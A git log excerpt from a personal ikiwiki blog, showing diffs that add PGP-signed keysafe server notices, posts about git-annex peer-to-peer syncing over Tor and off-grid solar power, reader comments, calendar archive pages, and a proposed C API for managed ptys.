-Purism. It is located in the EU (Cyprus).
-
-We intend to run this server for at least 10 years (through 2027),
-or failing that, to transition any data stored on it to another
-server that is of similar or higher security.
-
-Our warrant canary is <https://puri.sm/warrant-canary/>,
-and is updated quarterly.
------BEGIN PGP SIGNATURE-----
-Version: GnuPG v1
-
-iQIcBAEBAgAGBQJYF8U4AAoJECPPLj0lRRT30CkP/Rn2TAeriNWO9wZcr0OHyX7B
-TJcgLy3pZXbGn6T6qmJqg3K22fTKJ7CX0dfIM+WLI9FfBtnT95q1rnzywhBGPXzj
-eD3g7r3QinIfMLBQTKyc9Ik5132uenD5h72ggVl3D+kuWv622IhaAaiVkuHc5KoR
-3/S+ImkcS/gz83UNTXnWdMs0V8+eqAjpWeYQS8Ih28AECI9f+xUUH//V9Ii/4Usv
-E3Y0hbqj8kSi4/Q6IwmFiJTKZ1FpccKhl6GIYUSLwJMJDHoI46M/AaZy0Xx9pLcU
-niSELai/7/0fY4N0TY2CbZUgH7FEhi0k8cCsGF7yTA6dqya8deKQKdUdDllcHayv
-+GOAqijiSTPrRox4TPMMdurPXTsJxeJuxVdS75Lw2cFk+JaaIVS/3XEyeuGpaVKW
-wSTltyFkMx9ur5cCPT2rxoRN78HuqgiHda/Jd4c2pny7GwpUEYAznQQaBYEl2jlQ
-/Go3ZudpnWfBRRe7znazhA6mIatPY61GrNIebVlET6/NCw9sZFRjHXY3pMw1u/TY
-4eP0UQpBUed4/sot5vsZVwbn8e6eFh0S4HTdl5x1G8jN8nUZVdJJjOtACrONW+TG
-CLSNDkMgQ5slBmtZm+MzL2VYkFHCMmPerNXY1DhHjMyfLpQEIN+bho+mIyc5h/W/
-Br5jFZujcQ0u7GzqvaDB
-=RmK4
------END PGP SIGNATURE-----
-</pre>
+	-----BEGIN PGP SIGNED MESSAGE-----
+	Hash: SHA1
+	
+	The keysafe server hlmjmeth356s5ekm.onion is provided and administered by
+	Purism. It is located in the EU (Cyprus).
+	
+	We intend to run this server for at least 10 years (through 2027),
+	or failing that, to transition any data stored on it to another
+	server that is of similar or higher security.
+	
+	Our warrant canary is <https://puri.sm/warrant-canary/>,
+	and is updated quarterly.
+	-----BEGIN PGP SIGNATURE-----
+	Version: GnuPG v1
+	
+	iQIcBAEBAgAGBQJYF8U4AAoJECPPLj0lRRT30CkP/Rn2TAeriNWO9wZcr0OHyX7B
+	TJcgLy3pZXbGn6T6qmJqg3K22fTKJ7CX0dfIM+WLI9FfBtnT95q1rnzywhBGPXzj
+	eD3g7r3QinIfMLBQTKyc9Ik5132uenD5h72ggVl3D+kuWv622IhaAaiVkuHc5KoR
+	3/S+ImkcS/gz83UNTXnWdMs0V8+eqAjpWeYQS8Ih28AECI9f+xUUH//V9Ii/4Usv
+	E3Y0hbqj8kSi4/Q6IwmFiJTKZ1FpccKhl6GIYUSLwJMJDHoI46M/AaZy0Xx9pLcU
+	niSELai/7/0fY4N0TY2CbZUgH7FEhi0k8cCsGF7yTA6dqya8deKQKdUdDllcHayv
+	+GOAqijiSTPrRox4TPMMdurPXTsJxeJuxVdS75Lw2cFk+JaaIVS/3XEyeuGpaVKW
+	wSTltyFkMx9ur5cCPT2rxoRN78HuqgiHda/Jd4c2pny7GwpUEYAznQQaBYEl2jlQ
+	/Go3ZudpnWfBRRe7znazhA6mIatPY61GrNIebVlET6/NCw9sZFRjHXY3pMw1u/TY
+	4eP0UQpBUed4/sot5vsZVwbn8e6eFh0S4HTdl5x1G8jN8nUZVdJJjOtACrONW+TG
+	CLSNDkMgQ5slBmtZm+MzL2VYkFHCMmPerNXY1DhHjMyfLpQEIN+bho+mIyc5h/W/
+	Br5jFZujcQ0u7GzqvaDB
+	=RmK4
+	-----END PGP SIGNATURE-----
 
 ### Alternate
 
 * keysafe.joeyh.name
 
-<pre>
------BEGIN PGP SIGNED MESSAGE-----
-Hash: SHA256
-
-  keysafe.joeyh.name is provided by me, Joey Hess.
-
-  I intend to run this server for at least 10 years (through 2027),
-  or failing that, to transition any data stored on it to another
-  server that is of similar or higher security.
-
-  It is a Digital Ocean VPS, located in Indonesia. I can't tell if the
-  hosting provider is accessing the contents of the server, and so
-  this server is not securely hosted enough to be Recommended.
------BEGIN PGP SIGNATURE-----
-
-iQIcBAEBCAAGBQJXx0qFAAoJEMkQ2SIlEuPHyGMQALSLL7LZEpTi+zf2kPYGoBMQ
-3z3FDB9B6SaF4uN3r+XlAw2Vzas2KVLCbNkO+np7tLzC0qdY5dBLDI7+ZJXiKi2v
-iqxKICl0E8+ih8JOe0JWfoysO974I1DesEI7X6VUewwNpd35OgCuIL5RmknKrX4I
-x7gUfsONiojUKgOT0yMErUfw3VNYB0Kbzw4Xic66eIkFl5z6APMknjqvOC1196v9
-BW0rSM+OsthB9xkj7ULKQv+1LrxmwNu0+FL62qNKGObbXHayfLBGm8TT9Y7etQYD
-3zRDiUfa0m2aYu7ZRx5HSIgExVVd3YosDUFA4xsIb6N4wBbP1zS2TG2Zo5o/+3gt
-BerkQL/xkMWhIMVCYp1hWc47MenHk1MJU5EhS+duL/fnlqW2HcFanM+fOv+/ZWt6
-da2mdjSR95Ekq22BXN9eHO54AFJKLWYNdT9E5W2rlwqUoC4dqsqYGT3XWnAaKHC/
-he9+B/wdEf7165Qy+MKo/36Ib7pfhPQv4hip2cuMP9w0E6JoKZusBV5AdxRvGAGf
-GvUhvNog6v9/t+cqUp6dSTT2WVllkXJ/5deGJYLzZMJjZS3cZ75ZKr8OD5oQxr+m
-7oL6BDvxha7Q4qHo/RZgxyd/qZ7zWHTT6Tn6qNCBGUi4b6Etb0kEd5Os66WoLCSK
-lhmhvShr0WRqB8fWYPkc
-=SNGN
------END PGP SIGNATURE-----
+	-----BEGIN PGP SIGNED MESSAGE-----
+	Hash: SHA256
+	
+	  keysafe.joeyh.name is provided by me, Joey Hess.
+	
+	  I intend to run this server for at least 10 years (through 2027),
+	  or failing that, to transition any data stored on it to another
+	  server that is of similar or higher security.
+	
+	  It is a Digital Ocean VPS, located in Indonesia. I can't tell if the
+	  hosting provider is accessing the contents of the server, and so
+	  this server is not securely hosted enough to be Recommended.
+	-----BEGIN PGP SIGNATURE-----
+	
+	iQIcBAEBCAAGBQJXx0qFAAoJEMkQ2SIlEuPHyGMQALSLL7LZEpTi+zf2kPYGoBMQ
+	3z3FDB9B6SaF4uN3r+XlAw2Vzas2KVLCbNkO+np7tLzC0qdY5dBLDI7+ZJXiKi2v
+	iqxKICl0E8+ih8JOe0JWfoysO974I1DesEI7X6VUewwNpd35OgCuIL5RmknKrX4I
+	x7gUfsONiojUKgOT0yMErUfw3VNYB0Kbzw4Xic66eIkFl5z6APMknjqvOC1196v9
+	BW0rSM+OsthB9xkj7ULKQv+1LrxmwNu0+FL62qNKGObbXHayfLBGm8TT9Y7etQYD
+	3zRDiUfa0m2aYu7ZRx5HSIgExVVd3YosDUFA4xsIb6N4wBbP1zS2TG2Zo5o/+3gt
+	BerkQL/xkMWhIMVCYp1hWc47MenHk1MJU5EhS+duL/fnlqW2HcFanM+fOv+/ZWt6
+	da2mdjSR95Ekq22BXN9eHO54AFJKLWYNdT9E5W2rlwqUoC4dqsqYGT3XWnAaKHC/
+	he9+B/wdEf7165Qy+MKo/36Ib7pfhPQv4hip2cuMP9w0E6JoKZusBV5AdxRvGAGf
+	GvUhvNog6v9/t+cqUp6dSTT2WVllkXJ/5deGJYLzZMJjZS3cZ75ZKr8OD5oQxr+m
+	7oL6BDvxha7Q4qHo/RZgxyd/qZ7zWHTT6Tn6qNCBGUi4b6Etb0kEd5Os66WoLCSK
+	lhmhvShr0WRqB8fWYPkc
+	=SNGN
+	-----END PGP SIGNATURE-----
 </pre>
 
 * thirdserver

Added a comment: I2P is fit for anonymous filesharing by design
diff --git a/blog/entry/p2p_dreams/comment_1_d62b9d0fdcec151eaa2066dc4fe3eaa5._comment b/blog/entry/p2p_dreams/comment_1_d62b9d0fdcec151eaa2066dc4fe3eaa5._comment
new file mode 100644
index 0000000..fae7ef5
--- /dev/null
+++ b/blog/entry/p2p_dreams/comment_1_d62b9d0fdcec151eaa2066dc4fe3eaa5._comment
@@ -0,0 +1,14 @@
+[[!comment format=mdwn
+ username="andreas.glaeser@cfd70e43e8acd338681cd069504740fdd4e85b0b"
+ nickname="andreas.glaeser"
+ avatar="http://cdn.libravatar.org/avatar/01527e4b0848adff0e9c052635eaa09b"
+ subject="I2P is fit for anonymous filesharing by design"
+ date="2017-01-15T14:37:09Z"
+ content="""
+Trying out I2P is what I would recommend here, because especially if you are interested in filesharing or anonymous mail-services, this would probably be more cost-efficient, it is said to exist inside the FeeBSD ports-collection.
+So from my perspective TOR is nice for anonymous web-surfing, no idea about onion-services.
+Some big sites closed their services to TOR-users unfortunately, probably because of DDoS-attacks, some even don't accept connections from filtering proxies anymore.
+I2P is still in beta-status AFAIK, but probably one day it is going to be fit for real productive use and match up TOR.
+I2P is a different category, in so far as even the devolpers are anonymous and known by their pseudonyms only.
+
+"""]]

Added a comment: climate change
diff --git a/blog/entry/drought/comment_1_3a8bebf382c4e51c2a322152bc3c787f._comment b/blog/entry/drought/comment_1_3a8bebf382c4e51c2a322152bc3c787f._comment
new file mode 100644
index 0000000..68d9475
--- /dev/null
+++ b/blog/entry/drought/comment_1_3a8bebf382c4e51c2a322152bc3c787f._comment
@@ -0,0 +1,11 @@
+[[!comment format=mdwn
+ username="andreas.glaeser@cfd70e43e8acd338681cd069504740fdd4e85b0b"
+ nickname="andreas.glaeser"
+ avatar="http://cdn.libravatar.org/avatar/01527e4b0848adff0e9c052635eaa09b"
+ subject="climate change "
+ date="2017-01-08T13:38:11Z"
+ content="""
+2016 was a record-year globally, as far as I know, even warmer in average than 2015.
+Now, upon break of the new year, there is even snow and ice again in Berlin, and it is supposed to stay this way for three more days at least with temperatures below zero. This is not bad weather in my opinion, but more lovable weather indeed, because far less people are out there to get in your way.
+Sometimes bad weather is good weather in this sense, sometimes cool weather is good weather.
+"""]]

typo
diff --git a/blog/entry/the_cliff.mdwn b/blog/entry/the_cliff.mdwn
index 2a33e75..3bd426b 100644
--- a/blog/entry/the_cliff.mdwn
+++ b/blog/entry/the_cliff.mdwn
@@ -35,4 +35,4 @@ the batteries a perfect chance to recover.
 
 Previously: [[battery_bank_refresh]] [[late_summer]]
 
-[!tag solar]]
+[[!tag solar]]

blog update
diff --git a/blog/entry/the_cliff.mdwn b/blog/entry/the_cliff.mdwn
new file mode 100644
index 0000000..2a33e75
--- /dev/null
+++ b/blog/entry/the_cliff.mdwn
@@ -0,0 +1,38 @@
+Falling off the cliff is always a surprise. I know it's there; I've been
+living next to it for months. I chart its outline daily. Avoiding it has
+become routine, and so comfortable, and so failing to avoid it surprises.
+
+Monday evening around 10 pm, the laptop starts draining down from 100%.
+House battery, which has been steady around 11.5-10.8 volts since well
+before Winter solstice, and was in the low 10's, has plummeted to 8.5 volts.
+
+With the old batteries, the cliff used to be at 7 volts, but now, with
+new batteries but fewer, it's in a surprising place, something like 
+10 volts, and I fell off it.
+
+Weather forecast for the week ahead is much like the previous week: 
+Maybe a couple sunny afternoons, but mostly no sun at all.
+
+Falling off the cliff is not all bad. It shakes things up. It's a good
+opportunity to disconnect, to read paper books, and think long 
+winter thoughts. It forces some flexability.
+
+I have an auxillary battery for these situations. With its own little
+portable solar panel, it can charge the laptop and run it for around 6
+hours. But it takes it several days of winter sun to charge back up.
+
+That's enough to get me through the night. Then I take a short trip, and
+glory in one sunny afternoon. But I know that won't get me out of the hole,
+the batteries need a sunny week to recover. This evening, I expect to lose
+power again, and probably tomorrow evening too.
+
+Luckily, my goal for the week was to write slides for two talks, and I've
+been able to do that despite being mostly offline, and sometimes
+decomputered.
+
+And, in a few days I will be jetting off to Australia! That should give
+the batteries a perfect chance to recover.
+
+Previously: [[battery_bank_refresh]] [[late_summer]]
+
+[!tag solar]]

better link
diff --git a/blog/entry/p2p_dreams.mdwn b/blog/entry/p2p_dreams.mdwn
index 0fd87cf..4d0d83c 100644
--- a/blog/entry/p2p_dreams.mdwn
+++ b/blog/entry/p2p_dreams.mdwn
@@ -106,7 +106,7 @@ for details. Also, the git-annex webapp allows
 [setting the same thing up point-and-click style](http://git-annex.branchable.com/assistant/share_with_a_friend_walkthrough/).
 
 The Tor project blog has throughout December been [featuring all kinds of
-projects that are using Tor](https://blog.torproject.org/blog). 
+projects that are using Tor](https://blog.torproject.org/category/tags/heart-internet-freedom). 
 Consider this a late bonus addition to that. ;) 
 
 I hope that Tor onion services will continue to develop to make them easier
diff --git a/code/keysafe/screenshots/0.png b/code/keysafe/screenshots/0.png
new file mode 100644
index 0000000..7cfe206
Binary files /dev/null and b/code/keysafe/screenshots/0.png differ

Fix word duplicated by mistake.
diff --git a/blog/entry/p2p_dreams.mdwn b/blog/entry/p2p_dreams.mdwn
index 23e8ae1..0fd87cf 100644
--- a/blog/entry/p2p_dreams.mdwn
+++ b/blog/entry/p2p_dreams.mdwn
@@ -77,7 +77,7 @@ Local actions whatsoever. Other interpreters for the Net monad could be
 used to support other network transports than Tor.
 """]]
 
-When when two peers are connected over Tor, one knows it's talking to the
+When two peers are connected over Tor, one knows it's talking to the
 owner of a particular onion address, but the other peer knows nothing about
 who's talking to it, by design. This makes authentication harder than it
 would be in a P2P system with a design like Telehash. 

add
diff --git a/code/keysafe/screenshots/restore/1.png b/code/keysafe/screenshots/restore/1.png
new file mode 100644
index 0000000..8fd1f43
Binary files /dev/null and b/code/keysafe/screenshots/restore/1.png differ
diff --git a/code/keysafe/screenshots/restore/2.png b/code/keysafe/screenshots/restore/2.png
new file mode 100644
index 0000000..e682486
Binary files /dev/null and b/code/keysafe/screenshots/restore/2.png differ
diff --git a/code/keysafe/screenshots/restore/3.png b/code/keysafe/screenshots/restore/3.png
new file mode 100644
index 0000000..7c7e5dc
Binary files /dev/null and b/code/keysafe/screenshots/restore/3.png differ
diff --git a/code/keysafe/screenshots/restore/4.png b/code/keysafe/screenshots/restore/4.png
new file mode 100644
index 0000000..4d07070
Binary files /dev/null and b/code/keysafe/screenshots/restore/4.png differ

calendar update
diff --git a/blog/archives/2017.mdwn b/blog/archives/2017.mdwn
new file mode 100644
index 0000000..bb67a44
--- /dev/null
+++ b/blog/archives/2017.mdwn
@@ -0,0 +1 @@
+[[!calendar type=year year=2017 pages="blog/entry/* and !*/Discussion"]]
diff --git a/blog/archives/2017/01.mdwn b/blog/archives/2017/01.mdwn
new file mode 100644
index 0000000..0899d5b
--- /dev/null
+++ b/blog/archives/2017/01.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=01 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(01) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/02.mdwn b/blog/archives/2017/02.mdwn
new file mode 100644
index 0000000..5e6001a
--- /dev/null
+++ b/blog/archives/2017/02.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=02 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(02) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/03.mdwn b/blog/archives/2017/03.mdwn
new file mode 100644
index 0000000..6d0673a
--- /dev/null
+++ b/blog/archives/2017/03.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=03 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(03) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/04.mdwn b/blog/archives/2017/04.mdwn
new file mode 100644
index 0000000..b08d72d
--- /dev/null
+++ b/blog/archives/2017/04.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=04 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(04) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/05.mdwn b/blog/archives/2017/05.mdwn
new file mode 100644
index 0000000..de9045c
--- /dev/null
+++ b/blog/archives/2017/05.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=05 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(05) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/06.mdwn b/blog/archives/2017/06.mdwn
new file mode 100644
index 0000000..4f5be8d
--- /dev/null
+++ b/blog/archives/2017/06.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=06 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(06) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/07.mdwn b/blog/archives/2017/07.mdwn
new file mode 100644
index 0000000..6c60a4a
--- /dev/null
+++ b/blog/archives/2017/07.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=07 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(07) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/08.mdwn b/blog/archives/2017/08.mdwn
new file mode 100644
index 0000000..bab88d0
--- /dev/null
+++ b/blog/archives/2017/08.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=08 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(08) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/09.mdwn b/blog/archives/2017/09.mdwn
new file mode 100644
index 0000000..77d79eb
--- /dev/null
+++ b/blog/archives/2017/09.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=09 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(09) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/10.mdwn b/blog/archives/2017/10.mdwn
new file mode 100644
index 0000000..e5b1422
--- /dev/null
+++ b/blog/archives/2017/10.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=10 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(10) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/11.mdwn b/blog/archives/2017/11.mdwn
new file mode 100644
index 0000000..45cadab
--- /dev/null
+++ b/blog/archives/2017/11.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=11 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(11) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]
diff --git a/blog/archives/2017/12.mdwn b/blog/archives/2017/12.mdwn
new file mode 100644
index 0000000..a5a1377
--- /dev/null
+++ b/blog/archives/2017/12.mdwn
@@ -0,0 +1,5 @@
+[[!sidebar content="""
+[[!calendar type=month month=12 year=2017 pages="blog/entry/* and !*/Discussion"]]
+"""]]
+
+[[!inline pages="creation_month(12) and creation_year(2017) and blog/entry/* and !*/Discussion" show=0 feeds=no reverse=yes]]

blog update
diff --git a/blog/entry/p2p_dreams.mdwn b/blog/entry/p2p_dreams.mdwn
new file mode 100644
index 0000000..23e8ae1
--- /dev/null
+++ b/blog/entry/p2p_dreams.mdwn
@@ -0,0 +1,118 @@
+In one of the good parts of the very mixed bag that is "[Lo and Behold:
+Reveries of the Connected World](http://www.loandbehold-film.com/)", 
+Werner Herzog asks his interviewees what the Internet might dream of, if it
+could dream.
+
+The best answer he gets is along the lines of: The Internet of before
+dreamed a dream of the World Wide Web. It dreamed some nodes were
+servers, and some were clients. And that dream became current reality,
+because that's the essence of the Internet.
+
+Three years ago, it seemed like perhaps another dream was developing
+post-Snowden, of dissolving the distinction between clients and servers,
+connecting peer-to-peer using addresses that are also cryptographic public
+keys, so authentication and encryption and authorization are built in.
+
+Telehash is one hopeful attempt at this, others include snow, cjdns, i2p,
+etc. So far, none of them seem to have developed into a widely
+used network, although any of them still might get there. There are a lot
+of technical challenges due to the current Internet dream/nightmare, where
+the peers on the edges have multiple barriers to connecting to other
+peers.
+
+But, one project has developed something similar to the new dream,
+almost as a side effect of its main goals:
+[Tor](https://torproject.org/)'s onion services.
+
+I'd wanted to use such a thing in [git-annex](https://git-annex.branchable.com/),
+for peer-to-peer sharing and syncing of git-annex repositories. On November
+13th, I started building it, using Tor, and I'm releasing it concurrently with
+this blog post.
+
+[[!template id=note text="""
+git-annex's Tor support replaces its old hack of tunneling git
+protocol over XMPP. That hack was unreliable (it needed a TCP on top of XMPP
+layer) but worse, the XMPP server could see all the data being transferred.
+And, there are fewer large XMPP servers these days, so fewer users could
+use it at all. If you were using XMPP with git-annex, you'll need to switch
+to either Tor or a server accessed via ssh.
+"""]]
+
+Now git-annex can serve a repository as a Tor onion service, and that can
+then be accessed as a git remote, using an url like
+`tor-annex::tungqmfb62z3qirc.onion:42913`. All the regular git, and
+git-annex commands, can be used with such a remote.
+
+Tor has a lot of goals for protecting anonymity and privacy. But the
+important things for this project are just that it has end-to-end
+encryption, with addresses that are public keys, and allows P2P
+connections. Building an anonymous file exchange on top of Tor is not my
+goal -- if you want that, you probably don't want to be exchanging git
+histories that record every edit to the file and expose your real name by
+default.
+
+Building this was not without its difficulties.
+Tor onion services were originally intended to run hidden websites,
+not to connect peers to peers, and this kind of shows..
+
+Tor does not cater to end users setting up lots of Onion services.
+Either root has to edit the `torrc` file, or the Tor control port can be
+used to ask it to set one up. But, the control port is not enabled by
+default, so you still need to su to root to enable it. Also, it's difficult
+to find a place to put the hidden service's unix socket file that's
+writable by a non-root user. So I had to code around this, with a `git
+annex enable-tor` that su's to root and sets it all up for you.
+
+[[!template id=note text="""
+One interesting detail about the implementation of the P2P protocol in
+git-annex is that it uses two Free monads to build up actions. There's a Net
+monad which can be used to send and receive protocol messages, and a Local
+monad which allows only the necessary modifications to files on disk.
+Interpreters for Free monad actions can chose exactly which actions to
+allow for security reasons. 
+
+For example, before a peer has authenticated,
+the P2P protocol is being run by an interpreter that refuses to run any
+Local actions whatsoever. Other interpreters for the Net monad could be
+used to support other network transports than Tor.
+"""]]
+
+When when two peers are connected over Tor, one knows it's talking to the
+owner of a particular onion address, but the other peer knows nothing about
+who's talking to it, by design. This makes authentication harder than it
+would be in a P2P system with a design like Telehash. 
+So git-annex does its own authentication on top of Tor.
+
+With authentication, users would need to exchange absurdly long
+addresses (over 150 characters) to connect their repositories. One very
+convenient thing about using XMPP was that a user would have connections to
+their friend's accounts, so it was easy to share with them. Exchanging long
+addresses is too hard.
+
+This is where [Magic Wormhole](https://github.com/warner/magic-wormhole)
+saved the day. It's a very elegant way to get any two peers in touch
+with each other, and the users only have to exchange a short code
+phrase, like "2-mango-delight", which can only be used once. Magic Wormhole
+makes some security tradeoffs for this simplicity. It's got vulnerabilities
+to DOS attacks, and its MITM resistance could be improved. But I'm lucky
+it came along just in time.
+
+So, it takes only installing Tor and Magic Wormhole, 
+running two git-annex commands, and exchanging short code phrases with
+a friend, perhaps over the phone or in an encrypted email, to get
+your git-annex repositories connected and syncing over Tor. 
+[See the documentation](http://git-annex.branchable.com/tips/peer_to_peer_network_with_tor/)
+for details. Also, the git-annex webapp allows
+[setting the same thing up point-and-click style](http://git-annex.branchable.com/assistant/share_with_a_friend_walkthrough/).
+
+The Tor project blog has throughout December been [featuring all kinds of
+projects that are using Tor](https://blog.torproject.org/blog). 
+Consider this a late bonus addition to that. ;) 
+
+I hope that Tor onion services will continue to develop to make them easier
+to use for peer-to-peer systems. We can still dream a better Internet.
+
+----
+
+This work was made possible by all my supporters on
+[Patreon](https://patreon.com/joeyh/).

from email
diff --git a/blog/entry/multi-terminal_applications/comment_7_30aba9e905e58f33db64e52af14c7647._comment b/blog/entry/multi-terminal_applications/comment_7_30aba9e905e58f33db64e52af14c7647._comment
new file mode 100644
index 0000000..531e078
--- /dev/null
+++ b/blog/entry/multi-terminal_applications/comment_7_30aba9e905e58f33db64e52af14c7647._comment
@@ -0,0 +1,21 @@
+[[!comment format=mdwn
+ username="anarcat"
+ nickname="anarcat"
+ subject="comment 7"
+ date="2016-12-27T18:02:47Z"
+ content="""
+i have a similar concern in a project i'm working on now, which is to
+run a bunch of tests in one window and showing system logs in another
+window for convenience. i thought i would use tmux for this because the
+commandline interface is simple enough to be used like an API. my
+previous approach to this was to use a multi-interface design with
+simple functions like "alert", "prompt" or "log" that would send stuff
+to different places (terminal or gtk windows) depending on the
+environment, a bit like what debconf is doing, with all the crap that
+implies (generally: a suboptimal interface everywhere).
+
+as for an irc client, you may be curious to try out `ii`: it's a simple
+FIFO and filesystem-based irc client that implements basically *no* user
+interface... a little nuts, but sounds like it would be the backend to
+the UI you are describing.
+"""]]

no more telnet for scroll
diff --git a/code/scroll.mdwn b/code/scroll.mdwn
index fa21794..49cdcab 100644
--- a/code/scroll.mdwn
+++ b/code/scroll.mdwn
@@ -14,11 +14,8 @@ BTW, `scroll` is also a functional unix file pager, like `less` or `more`.
 
 For a quick play on the web, there are two demo servers up!
 
-* EU <http://eu.scroll.joeyh.name:4242/>  -or-  `telnet eu.scroll.joeyh.name`
-* US <http://us.scroll.joeyh.name:4242/>  -or-  `telnet us.scroll.joeyh.name`
-
-For deeper exploration, I recommend using telnet instead. Login and
-password for telnet are both "scroll".
+* EU <http://eu.scroll.joeyh.name:4242/>
+* US <http://us.scroll.joeyh.name:4242/>
 
 ## install `scroll`
 

Added a comment: Multi Pty programs
diff --git a/blog/entry/multi-terminal_applications/comment_6_30aba9e905e58f33db64e52af14c7647._comment b/blog/entry/multi-terminal_applications/comment_6_30aba9e905e58f33db64e52af14c7647._comment
new file mode 100644
index 0000000..2e98e3a
--- /dev/null
+++ b/blog/entry/multi-terminal_applications/comment_6_30aba9e905e58f33db64e52af14c7647._comment
@@ -0,0 +1,9 @@
+[[!comment format=mdwn
+ username="bburky@f27cd1468e00e320089df57e65bcda8c8afd6d3e"
+ nickname="bburky"
+ avatar="http://cdn.libravatar.org/avatar/e998a8229b9bfe9856d33af99c2f492c"
+ subject="Multi Pty programs"
+ date="2016-12-28T20:48:14Z"
+ content="""
+[Voltron](https://github.com/snare/voltron) is a good example of this kind of program I think. I haven't actually used it, but it's a debugger interface that lets you spwawn new windows by using multiple ptys.
+"""]]

update
diff --git a/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment b/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment
index 337d83a..aa340bd 100644
--- a/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment
+++ b/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment
@@ -27,7 +27,8 @@ xterm with that size, or tile a buffer at that size).
 
 It would probably be a good idea to add a parameter to both API calls for
 additional hints. For example, a pty manager might be able to lay out one
-buffer to the left of an other one, if provided a hint to do so. This
-needs to be something that's extensible. Could be as simple as 
-`char *const managehints[]`
+buffer to the left of an other one, if provided a hint to do so. Or a pty
+might be non-interactive, and so a pty manager should not let the focus
+move to it. This needs to be something that's extensible. Could be as
+simple as  `char *const managehints[]`
 """]]

update
diff --git a/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment b/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment
index a4596a7..337d83a 100644
--- a/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment
+++ b/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment
@@ -11,6 +11,7 @@ The C API could look like this:
 		const struct winsize *winp);
 
 	pid_t execvpepty_managed(const char *addr,
+		const struct winsize *winp,
 		const char *file, char *const argv[], char *const envp[]);
 
 Compare with openpty(3) and forkpty(3).
@@ -20,4 +21,13 @@ and any parent address is automatically prefixed to it.
 
 The implementation of these would use the socket environment variable to
 send requests to the pty manager. Mm, fd passing..
+
+The winsize parameter lets a preferred window size be selected (to open an
+xterm with that size, or tile a buffer at that size).
+
+It would probably be a good idea to add a parameter to both API calls for
+additional hints. For example, a pty manager might be able to lay out one
+buffer to the left of an other one, if provided a hint to do so. This
+needs to be something that's extensible. Could be as simple as 
+`char *const managehints[]`
 """]]

comment
diff --git a/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment b/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment
new file mode 100644
index 0000000..a4596a7
--- /dev/null
+++ b/blog/entry/multi-terminal_applications/comment_5_cc21cb426b45ba5dd26a405c2fb53df5._comment
@@ -0,0 +1,23 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""comment 5"""
+ date="2016-12-28T00:17:47Z"
+ content="""
+The C API could look like this:
+
+	int openpty_managed(const char *addr,
+		int *amaster, int *aslave, char *name,
+		const struct termios *termp,
+		const struct winsize *winp);
+
+	pid_t execvpepty_managed(const char *addr,
+		const char *file, char *const argv[], char *const envp[]);
+
+Compare with openpty(3) and forkpty(3).
+
